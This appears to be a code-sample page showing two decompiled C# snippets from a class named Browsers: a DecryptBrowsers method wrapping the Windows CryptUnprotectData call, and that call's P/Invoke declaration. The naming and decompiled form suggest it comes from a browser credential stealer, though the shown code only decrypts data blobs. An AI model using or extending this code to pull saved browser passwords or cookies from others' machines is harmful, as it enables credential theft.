Exemplo n.º 1
0
        // Token: 0x06000049 RID: 73 RVA: 0x00006DA0 File Offset: 0x00004FA0
        private static byte[] DecryptBrowsers(byte[] cipherTextBytes, byte[] entropyBytes = null)
        {
            Browsers.DataBlob dataBlob  = default(Browsers.DataBlob);
            Browsers.DataBlob dataBlob2 = default(Browsers.DataBlob);
            Browsers.DataBlob dataBlob3 = default(Browsers.DataBlob);
            Browsers.CryptprotectPromptstruct cryptprotectPromptstruct = new Browsers.CryptprotectPromptstruct
            {
                cbSize        = Marshal.SizeOf(typeof(Browsers.CryptprotectPromptstruct)),
                dwPromptFlags = 0,
                hwndApp       = IntPtr.Zero,
                szPrompt      = null
            };
            string empty = string.Empty;

            try
            {
                try
                {
                    bool flag = cipherTextBytes == null;
                    if (flag)
                    {
                        cipherTextBytes = new byte[0];
                    }
                    dataBlob2.pbData = Marshal.AllocHGlobal(cipherTextBytes.Length);
                    dataBlob2.cbData = cipherTextBytes.Length;
                    Marshal.Copy(cipherTextBytes, 0, dataBlob2.pbData, cipherTextBytes.Length);
                }
                catch (Exception)
                {
                }
                try
                {
                    bool flag2 = entropyBytes == null;
                    if (flag2)
                    {
                        entropyBytes = new byte[0];
                    }
                    dataBlob3.pbData = Marshal.AllocHGlobal(entropyBytes.Length);
                    dataBlob3.cbData = entropyBytes.Length;
                    Marshal.Copy(entropyBytes, 0, dataBlob3.pbData, entropyBytes.Length);
                }
                catch (Exception)
                {
                }
                Browsers.CryptUnprotectData(ref dataBlob2, ref empty, ref dataBlob3, IntPtr.Zero, ref cryptprotectPromptstruct, 1, ref dataBlob);
                byte[] array = new byte[dataBlob.cbData];
                Marshal.Copy(dataBlob.pbData, array, 0, dataBlob.cbData);
                return(array);
            }
            catch (Exception)
            {
            }
            finally
            {
                bool flag3 = dataBlob.pbData != IntPtr.Zero;
                if (flag3)
                {
                    Marshal.FreeHGlobal(dataBlob.pbData);
                }
                bool flag4 = dataBlob2.pbData != IntPtr.Zero;
                if (flag4)
                {
                    Marshal.FreeHGlobal(dataBlob2.pbData);
                }
                bool flag5 = dataBlob3.pbData != IntPtr.Zero;
                if (flag5)
                {
                    Marshal.FreeHGlobal(dataBlob3.pbData);
                }
            }
            return(new byte[0]);
        }
Exemplo n.º 2
0
 private static extern bool CryptUnprotectData(ref Browsers.DataBlob pCipherText, ref string pszDescription, ref Browsers.DataBlob pEntropy, IntPtr pReserved, ref Browsers.CryptprotectPromptstruct pPrompt, int dwFlags, ref Browsers.DataBlob pPlainText);